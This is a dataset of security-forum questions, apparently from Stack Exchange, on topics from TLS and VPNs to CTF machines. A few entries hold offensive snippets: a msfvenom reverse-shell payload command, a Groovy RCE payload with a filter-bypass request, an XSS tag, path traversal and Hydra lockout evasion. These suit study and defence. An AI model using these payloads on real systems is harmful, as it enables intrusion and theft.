instruction stringlengths 24 29.9k |
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In the case of phishing training, most training will say "don't click the link, you can get hacked!"
If there was an exploit that could bypass the chrome sandbox on an up-to-date verison of chrome, would that person realistically target an employee at a regional insurance provider or some other non fortune 100 company?... |
Brief description :
I think Wireguard is blocked from special datacenters like Hetzner.
How can I bypass the government firewall?
Is there a way, for example, a plugin or something to mix it with original wireguard to get it to work?
Details (story):
I have a VPS from Hetzner datacenter.
I have set up a Wireguard using... |
IT support guy here (NOT security expert):
I have several clients who currently have at least one legacy appliance that runs a Samba (or something like it) server using SMBv1, which cannot be upgraded to use higher SMB versions. Other than replacing the appliance completely (which in some cases would be quite expensiv... |
In a recent attack to INTEL-SA-00086, the researchers are able to extract the secret key that encrypts updates to various Intel CPUs.
In the arstechnica blog it is mentioned as
The key may also allow parties other than Intel—say a malicious hacker or a hobbyist—to update chips with their own microcode, although that c... |
In my company, we are issued .p12 files and extract the certificate and private key like so:
openssl pkcs12 -in path.p12 -out newfile.crt.pem -clcerts -nokeys
openssl pkcs12 -in path.p12 -out newfile.key.pem -nocerts -nodes
These are now in PEM format, and when making any call to a web service, we must send the creden... |
Introduction – Context
Everyone has seen so called "Injectors" or "Cracks" for certain programs & games at some point in their life.
These applications inject their own code into game (or application) to extend custom functionality (for example, opening up a cheating menu or overwrite a timer function).
Body – Main qu... |
In Cryptography Engineering Ferguson, Schneier and Kohno put a big emphasis on quality of code in order to prevent it from leaking information and from being vulnerable to memory corruption exploits.
Re-implementing cryptography, especially when open source libraries are already available, widely used and scrutinized; ... |
I've been reading up on malware that can bridge air gaps between computers, like GSMem, Funtenna, etc. In the papers and articles I've been reading, the researchers mostly talking about getting files and data out of air-gapped computers using parts and components of the computer not normally used for networkingor sendi... |
This question refers to automatic E2E encryption (i.e., the app creates and shares encryption keys, never the user).
Apps such as Discord and Hangouts store messages in a server-side DB thereby allowing users to delete the app without losing messages. Apps such as WhatsApp and Signal store messages on the user's device... |
I am asking this because WhatsApp says it is end-to-end encrypted.
Are there any problems with sending a public key through WhatsApp?
There might be some objections to sending symmetric and private keys.
Under what circumstances can I send symmetric and private keys?
|
Is this usual? These bots hit my website every 15 minutes and they're the only visitors I get since I haven't shared the website with anyone yet... How do they even know about my website?
What is the purpose of this, are they trying to scrape info off of my page or something? Is this a privacy issue?
|
I hope this is the correct stackexchange website to ask this, if it's not I'm sorry.
Some time ago I started giving private lectures to a girl and she told me, a computer engineering student, that someone she knows is hunting her and managed to gain access to both her mobile phone (some iPhone I think, she generically... |
I came across a number of somewhat similar solutions, which are based on the knowledge factor related to a symmetric key in particular:
If a party was able to generate correct message authentication code, be it in form of HMAC...
If a party was able to encrypt a piece of plaintext which decrypts to a message of expect... |
Hi I want an easy way to hardware lock an exe file to a specific system so that when a user copies that file to another system it does not open.
|
Hi I want to know if I use dd to clone an external hard drive encrypted by bitlocker to another external drive, can the clone always be opened using the same password or there are exceptions?
|
I am currently investigating the idea of implementing FIDO2 (WebAuthN) support in native iOS using Swift. I understand that there is no FIDO2 support in native iOS, and only available through Safari native app, but Safari is not an option that I'm currently considering.
The idea is to implement FIDO2 interfaces followi... |
I am trying to parse the signature algorithm off a certificate using Openssl's APIs. Currently I am using the X509_get_signature_info function to get the hash/digest nid and the pkey nid. However, these nids seem to be exclusive to Openssl, whereas I am looking for the IANA value of said signature algorithm. (IANA valu... |
Context
I am playing around with a machine from hack the box. I found what appears to be a squid v. 4.6 listening on port 3128. None of my requests works
< HTTP/1.1 400 Bad Request
< Server: squid/4.6
< Mime-Version: 1.0
< Date: Fri, 30 Oct 2020 23:27:28 GMT
< Content-Type: text/html;charset=utf-8
< Content-Length: 350... |
I'm new to cybersecurity. I am participating in the cybersec challenge.
I have an image to analyze. This image is small but super heavy. I thought that there was a message hidden behind but all my attempts at steganography have been unsuccessful.
Do you have any advice? I am only looking for tips as it's a challenge :)... |
I'm a noob in home security and networking. I suspect one of my neighbor is sniffing packets destined to my wifi router. I have many questions about this
Will they be able to identify the no. of devices I have connected to the router?
If yes, is there a way for me to hide the device details from packet sniffers?
Will ... |
When I go into incognito session and then use Youtube, I always thought that it's like coming to the site as a totally new person. How surprising it was when one day I watched a cabaret (not a very trendy, nor fashionable thing to watch) in incognito mode and a day later, on the same browser, on the same computer, in i... |
I have Zscaler service installed on my system and it does a good job of filtering content and malicious websites.
I was wondering how does Zscaler manage to do this? I read that it creates a PAC file that is saved on your system which contains the policy to divert requests.
Would be great if someone could explain the p... |
I'm trying to understand a series of steps for an authentication system I want to replicate. The steps are executed by this script. To sum up, it does the following:
It runs in a Raspberry Pi and the main objective is to register and login the device in a server.
First, runs openssl in the RPI to generate a private k... |
I am considering using the same password for my Computer, Mobile and Password Manager.
The premise of the "password reusing is bad" rule is that if one website leak the password then all of your accounts on other websites are vulnerable.
But I don't see how it apply in that case. If somebody got access to any of my dev... |
I found a website that has a very strict but malformed Content Security Policy of the form:
Content-Security-Policy: script-src none
which should actually be
Content-Security-Policy: script-src 'none'
Firefox shows warnings
Content Security Policy: Interpreting http://none as a hostname, not a keyword. If you intend... |
I sent an email through my normal internet provider.
Afterwards, I set up an account so I’d have VPN to hide/randomize my IP address.
If someone traces the original email (before I got vpn to change my IP address) will that yahoo email I sent, have my original IP address?
I didn’t get VPN yet, so now I’m wondering if t... |
I'm writing a DNS client, where records are queried and shown to the user, and I'm adding support for the SSHFP record type, which stores SSH fingerprints. Records of this type have three fields:
The public key algorithm number (where 1 is RSA, 2 is DSS, 3 is ECDSA, among others)
The hashing algorithm number (where 1 ... |
I've come across several papers introducing the concept of mutual distance-bounding, where basically both sides can verify an upper bound of the distance in between, rather than having this unilateral relationship between a verifier and a prover. Although promising, these papers do not address the fact that in relay at... |
I assume that the only thing the server checks is whether the IP on the certificate matches the one for the current TCP/IP connection and that the certificate is signed by an authority the server trusts. Is this true?
|
Seeking assistance on using PKCS11 with a remote HSM.
I have a small linux host with an HSM card installed. The HSM has libraries and utility scripts provided to interact with it, on that host. These include a pkcs11 utility. What I can’t grasp is how to access this remotely. I get that pkcs11 provides an API.
But ... |
I was just surprised to find out that devices when connecting to WiFi networks compare the SSID to known ones and try the saved password.
In other terms: I have replaced my home router, and my device connected on the new network right away after it had the same SSID and password.
Is this not a hazard? What if someone ... |
The client random is enough to prevent replay attack. The server signs the client random when sending the serverkeyexchange, so an attacker can't replay a session because client.random is different.
What is the purpose of server.random ?
|
I have recently bought one of the recent "best" USB gaming mouses out there. The thing that is bothering that the marketing material says it contains a self-programmable computer embedded in the mouse, which is able to save the lightning, sensitivity and other settings.
On my Windows machine the mouse gets accepted as ... |
I am trying to figure out what is wrong with my Mac.
Here are my devices:
iPad (7th generation, MW752LL/A) with iOS 14.01 (18A393),
iPad Air (MD788LL/A) with iOS 12.4.8 (16G201),
iPhone 6 Plus (MGCW2LL/A) with iOS 12.4.8 (16G201)
Mac mini (Mid 2011) with macOS Catalina 10.15.7 (using macOS Catalina Patcher from dosdud... |
If we look at encryption format and standards of JWE following RFC-7516, we can see that it uses a 2 way encryption method.
So what are the benefits of this compared to just using RSA? Are computation (decryption) time not significantly affected?
|
I have an app which sends a user-email and a password to a server for verification using a post request:
$.post(server_url,{
email: user_email,
password: user_password,
action: requested_action_on_server
}, function(result){
//do stuff
});
The server is an https website, but I'm concerned that this doesn'... |
From my understanding, the point of having a refresh token and short lived access tokens is to mitigate the consequences of having the access token stolen. This way, if this happens, the attacker will only be able to use it for a very short duration of time.
However, because refresh tokens and access tokens are usually... |
I have disabled JavaScript using the Firefox extension uMatrix and yet some websites are still able to force page reloads at an interval referenced by a script on that page. How is this possible please, and can I prevent it?
For example, https://www.drudgereport.com/ contains the following script tag meant to reload th... |
I've recently tested a web application and found out that it was vulnerable to Stored XSS attacks. However, a peculiar behavior left me a bit puzzled. When I inserted John <script>alert(1)</script>Doe, my browser showed that the script tag was indeed injected correctly, but the alert did not pop up.
When inserting John... |
Every time when user wants to login to my service it sends one time password (OTP) to the user's phone number, then this OTP is used to confirm login.
Someone uses my service to bombard people with sms notifications.
I already implemented various blocks:
no more then 1 OTP per phone number per minute
no more then 5 OT... |
I read somewhere that entering a malicious website can infect your machine without you noticing it at all. When someone wants to infect other's computers he has to pass two challenges (as I see this).
The victim needs to get the malicious payload.
The malicious payload should be executed.
First, the victim should get ... |
I understand that TPM is a specification and devices conforming to it are called Trusted Platform Modules and they play an important role in trusted computing (as is defined by the same people who make the TPM specifications in the first place). What are, in relation to this, for example Apple's T2 chip or Google's Tit... |
I have just extended the expiry date of my GPG key by following these instructions: Can you extend the expiration date of an already expired GPG key? I have previously backed-up my key. Do I need to backup again after extending its expiry date?
|
I tried repackaging an Android app but after installation, when I launch that app, the app crashes immediately.
This is the exception I am getting when I decompile this application using apktool and rebuild this application using apktool irrespective of any modifications done at the smali level or not.
exalvxhzn.█: 01
... |
I read that one way to perform a dll hijacking is to place a malicious dll file under a specific folder. Then, the original dll won't be executed and the malicious one will instead. I understand this concept but I can't see how it would be implemented practically.
Every tutorial I found on the internet about how to per... |
I have a home directory and a gpg file I am attempting to brute force. Is there a utility that you know that will recursively create wordlist from directives and file contents?
|
A follow up to my 7,5 years old question. Back 10-15 years ago, when I wanted to send an executable file over Gmail from my PC, all I had to do was to change file's extension to some meaningless one or compress that file with a password.
The mentioned question (and all answer to it) proven that contents of ZIP file can... |
I was learning about Digital footprints.
What is the difference between active digital footprints and passive digital footprints?
|
Im currently looking into the security of different browser password storing mechanisms. My main focus lies on the new Chromium based Microsoft Edge browser.
As far as I can see, Chromium based browsers use the system's credential manager / keychain to store passwords. On Windows that is the Credential Manager, seeming... |
As the title suggests. If I set the net.bindIp setting in mongod.conf to 0.0.0.0 on port 27017 this should open it up to all incoming connections. However, if in my ec2 instance I whitelist only my local IP on 27017, will this block all other incoming connections?
I should also note I have a mongodb user with a passwor... |
I have some difficulties wrapping my head around the following concept:
When HTTPS inspection (outbound) is enabled on a NextGen Firewall (NGFW) e.g. CheckPoint, a certificate has to be installed on the NGFW. These certificates (or at least the root/intermediate) need to pushed or installed on the clients to be able to... |
I use Fail2ban on a busy Debian-based database server to secure ssh against brute force attacks, but for performance reasons, I don't want to log every connection from the application server (it would be a big resource hog to read every query to log and parse that by Fail2ban - which is written in Python and is quite s... |
I'm in the planning/design stages of a project which will incorporate an internal server that communicates with internal clients. A quick summary of how this server will behave is as follows: end-users will make calls/commands to the server and depending on the information received by the server, it will initiate a pse... |
I would like to encrypt some of my application data stored on a MySQL DB using AES-128. I wonder thus what is the best way to store my key on the webserver.
Should I encrypt the key itself or store it raw? Should I store in a file, a BLOB or as a record on some table? Should the key be stored on a server other than the... |
According to my understanding there is upgrade to the WebSocket protocol during the WebSocket handshake.
We use HTTPS connections (we do not use HTTP).
Should we configure the WebSocket protocol in a firewall between a browser and a server?
Or enough to allow only HTTPS between a browser and a server?
There are some li... |
I am learning about auth and session management, and using express-session in Node js. I am not able to find the need for this package. I read a about it online, but didn't get a satisfying answer. Considering it is used widely, I am missing something.
I know when the user enters email/username and password, the server... |
My roommate asked me to share my internet connection with him for his company laptop. I have the option to give him wireless (WiFi credentials) and wired access (ethernet).
If I do decide to share,
Should I go for wired or wireless? (Speed and coverage area are not an issue yet.)
What are the things his company IT cou... |
I am a novice about digital things (imagine the antonym for "tech savvy").
Can my ISP know my yahoo email address? I have signed in on yahoo more than a million times. Yahoo is https.
Can my ISP know my Yahoo password?
Can my ISP know my Amazon.in (India) account email and password? There are Indian alternatives to ... |
I am wondering what are the possible options for the following:
Let's say you have a software-agent you want to deploy on systems running both on Windows and Linux, e.g. an agent written in C++.
Let's say this agent uses certificates issued by a PKI to do authentication towards a centralised system, be it locally or in... |
Since only a select amount of amount of microcontrollers in the USBs can be reprogrammed, isn't it just possible to block that certain kinds of microcontroller containing devices?
|
Background
Often developers and clients need to exchange passwords to be able to access some services. Of course the best option would be to never use someone else's credentials to log in, and instead create a different account for every user. And of course there's always the option of using a remote-desktop applicatio... |
Is there an effect of a certificate, or the request for, having the wrong country code? How about the other metadata? Effects can be legal, technological, anything.
I could almost imagine a web browser checking the certificate country and province against the server's geolocated ip, but I could see that having false po... |
Assuming no one is able to inspect or MITM in the network. Can I see it as a way to ensure the source IP in packet's header is the real source of the packet, so a kind of authentication ?
|
I wrote a web application that is using AD authentication (Windows) and has its own authorization module (RBAC-like). Back-end is Microsoft SQL Server.
A DBA on my team is not happy with us using a service account to talk to the database, he would rather have the actual user impersonated using EXECUTE AS at the databas... |
Firstly, I assume it's possible to passively read the encrypted data from a ePassport NFC chip?
All of the NFC scanning apps fail to load anything without the BAC. We are not interested in the encrypted data and don't require the BAC.
One app allows you to enter/or scan the BAC (DOB, Exp Date, and Name) to gain access ... |
Basically all in the title.
Imagine a simple CSP like
Content-Security-Policy: script-src 'self'
What is the behaviour of directives that would normally fall back to default-src which are not specified such as img-src or frame-src? Will they default to open (allow everything) or default to closed (allow nothing)?
Unle... |
I like to track the websites my daughter goes to in order to have some control. So I installed bettercap and setup a script to start it to sniff the HTML URLs being accessed (well, the reverse URL from the IP really).
sudo bettercap --eval 'set events.stream.time.format 2006-01-02 15:04:05;
set a... |
I run a Linux virtual machine on my Windows 10 host.
What information (e.g. https traffic) can be monitored from the host?
Is it safe to browse on a virtual machine that uses the host device's network adapter (regarding privacy)?
|
Can Governments order an ISP to decrypt data about any user's personal information. If there is some information, for example, that some terror suspect has been active on an HTTPS website on the internet, is it technically possible to decrypt his activity on the website?
HTTPS is secure because of encryption. Can the g... |
SCENARIO:
When a user browses to the login page the web application sets SESSIONID=X; Httponly; before the authentication.
After the authentication NO new cookies are set. The only cookie used to identify the session is SESSIONID=X.
This should mean that the webapp is vulnerable to the session fixation attack.
I want t... |
I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these methods?
Initial Payload
def a= 'wget https://example.com/'.execute()\n\na.consumeProcessOutput(sout, serr)\n\na.waitForOrKil... |
There is a recent malware called MalLocker that hijacks and occupies the full screen size by using SYSTEM_ALERT_WINDOW permission. It poses as ransomware by looking as such but doesn't encrypt files.
"The notification was intended to be used for system alerts
or errors, but Android threats misused it to force the
atta... |
I'd like to practice CTFs and cyber attacks on vulnerable VMs downloaded from seemingly reputable sources.
Which are the basic guidelines for securing the environment and avoid that malware (if any) would infect the host (my laptop)? Is setting up a Custom Specific Virtual Network (for just the attacking VM and the vul... |
My question is on Cyber Threat Intelligence (CTI). I want to know the difference between Attack Patterns (as in MITRE CAPEC) and Tactics, Techniques and Procedures (as in MITRE ATT&CK). They both seem to describe the behaviour and modus operandi of the adversary, so what is the difference really?
What is the difference... |
While scanning a host with nmap I have discovered an unusual service. The service moves to another port everytime I perform an nmap-scan or try to curl it. I have not yet found any info about similar cases, so I am currently not sure how to move forward. Are there any ways I can try to connect to the service, without t... |
Baseband Processors have very weak overall security(closed-source firmware, no audits etc.)
It also gives the telecom operator very high privileges on a mobile device.
So, now I use 2 phones. First one being a 'relay' which has a SIM card, and connects to the internet normally. I turn this phone into a Wi-Fi hotspot an... |
I am considering the security risks to have a standard user added to the Administrators group on an enterprise Windows 10 machine that is dedicated to that user. This is related to security only, so breaking the OS of a wrong manipulation, installing unlicensed programs or similar administrative tasks is out of scope o... |
As part of our secure SDLC, we are delivering security as security requirements directly into the backlog of an application team. The security requirements will directly correlate to the functional features being delivered in the iteration. I am predominantly talking about application-based controls (code level) here.
... |
When I order groceries, I get an e-mail receipt. I save this HTML file and save it.
Then I load it in Pale Moon some other time, so that its URL is file:///C:/blablablabla/receipt.html.
When I do this, it loads a bunch of images (logos and whatnot), hosted on Cloud-something. The point is, they are not images on my har... |
This is on a somewhat layman's level. I'm not a security guru.
Looking at this in very, very broad and general terms:
Election fraud is definitely a serious issue that needs to guarded against pretty heavily, ideally by many third-party officials and monitors. If you have random people working at the polling stations... |
I have a desktop computer in my home network with SSH server running on it. Using another computer in my private and local network (class C IP addresses: e.g., 192.168.0.2, etc) I sometimes use SSH to enter into the desktop PC with command ssh <user_name>@192.168.0.2 and work remotely.
I am wondering if someone from th... |
Let's say I have VirtualBox or Vmware Workstation on a Windows 10 Pro host, hosting Windows or a Linux distribution such as Ubuntu or CentoS). If I have an antivirus or Internet Security software on the Windows host, could it protect Windows or Linux VM's?
Can any consumer, SOHO, or small business version of Norton, Av... |
Recently my friend called their bank (via a normal phone call) to perform an operation with her account and she had to type her password during the call. Everything worked fine, the operation was done successfully.
Note: the password she used was the same for accessing the bank app in her smartphone.
What are the risks... |
I'm using msfvenom to create a payload with a calc.exe file as the template for a windows 7 machine using the HTTPS port. I create the file by using the following:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST:[attacker_ip] LPORT:443 -f exe -x /root/Desktop/calc.exe -o /root/Desktop/poccal... |
Let's say I have the following PHP code:
<?php
echo file_get_contents($_GET['path'] . ".txt");
Obviously, it's insecure as path traversal is possible when passing e.g. ../../file as a GET parameter.
But is there any way for an attacker to retrieve contents of a file that doesn't end with .txt as Null byte related ... |
Is there a reliable, public registry (preferably in the form of an API) that records known security vulnerabilities in open source software?
Why would anyone want this?
I'm trying to emulate github's dependabot on a local server. It simply scans all repositories and checks dependencies for updates, and alerts the maint... |
Is there a way to run Hydra through a series of proxies so a website can't lock you out? Having a hard time finding a way to do this. Most websites will block you out if you take to many attempts at logging in and if I am trying to brute force a password, I am going to have to constantly have to look like I am coming f... |
Within my API backend i have a unique KeySalt for every API Key
public string Key { get; set; }
public byte[] KeySalt { get; set; }
public string KeyHash { get; set; }
When the user creates a new API key, I present the generated Key only once, (and store only the last 4 characters in the Key field) so the user can u... |
We have an application that allows users to login using fingerprint. The server validating the sent fingerprint. Now, anyone can watch the traffic and resend them. What the best way to prevent this from happening? Should we add captcha when using fingerprint as validating the fingerprint?
Update: We have a system where... |
This answer states that encrypting a private key using openssl rsa -aes256 isn't secure, because the md5 hash of the password is used as encryption key.
But what if I do openssl pkcs12 -export -in client.crt -inkey client.key -name client -out client.p12 -password pass:12345 instead? (Using a better password of course.... |
I apologize for the weird wording of the question title, I was hitting the character count.
I am taking a network security course in college and the textbook we use, Network Security Essentials: Applications and Standards 6th Edition by William Stallings, dives into firewalls in chapter 12. The book defines 6 firewall ... |
I have a python bot that runs in Windows 10 and accesses Keepass with a password.
I'm wondering what would be the correct way to store and access this Keepass password.
Currently, the Keepass password is encrypted and decrypted with a key.
However the key is available to the python bot and therefore to anyone.
Am I mis... |
Recently, I was forced to log in to my Gmail account with a browser to keep using it.
Then, Gmail noted that the "alternate e-mail address", my 1999 Hotmail one, which I had long ago associated with my Gmail account (in 2004), has been "detected as not secure". I forget the exact phrasing. Something about it being dete... |
How would a CA submit a certificate to Certificate Transparency logs? Preferably Google's Pilot or Rocketeer CT.
Would one submit via an API, SDK, library? If submitting should it be a render of a certificate (without log extensions) or the final certificate?
|
I know how to create a self-signed certificate in a one command:
openssl req -x509 -newkey rsa:4096 \
-keyout my.key -passout pass:123456 -out my.crt \
-days 365 \
-subj /CN=localhost/O=home/C=US/emailAddress=me@mail.internal \
-addext "subjectAltName = DNS:localhost,DNS:web.internal,email:me@mail.internal" \
-addext k... |
Whenever I read something like "ISPs store your data" or "ISPs delete your data after 6 months" or anything like that, I imagine data to be the following things:
(1) At what time I accessed the Internet, got what IP address (in case of dynamic IPs) and accessed what website with it.
(2) How long I remained on that webs... |
Suppose that in some scenario using SSL, a hacker has succeeded in obtaining the MAC address, but not the encryption.
Can this be detected?
Also, suppose he changes the MAC address: what should he also change in the IP and TCP layers?
|
Suppose that someone browses non-Youtube videos (like on Vimeo) in Google Chrome's Incognito mode.
Does Google collect and store any data about this activity ("watched videos on Vimeo" activity)?
In general, does Google store ANYTHING that is done in Incognito mode?
|
I recently found out that a VPN service does not hash their customer passwords and I need professional insight on how to deal with this.
Here's how I found out:
Bought a subscription on the wrong email address.
Changed the password for that account because the one they provided was weak.
Asked support to change the ac... |
I'm solving CTF challenge, and have to escalate the privilege from user1 to user2, $HOME is read-only, so i can't change $HOME/.bashrc.
sudo -l shows (user2) NOPASSOWRD: /usr/rbash -- i can't write any commands before or after --, it doesn't escalate.
I must get user2 privilege to read a file owned by it, any idea ... |
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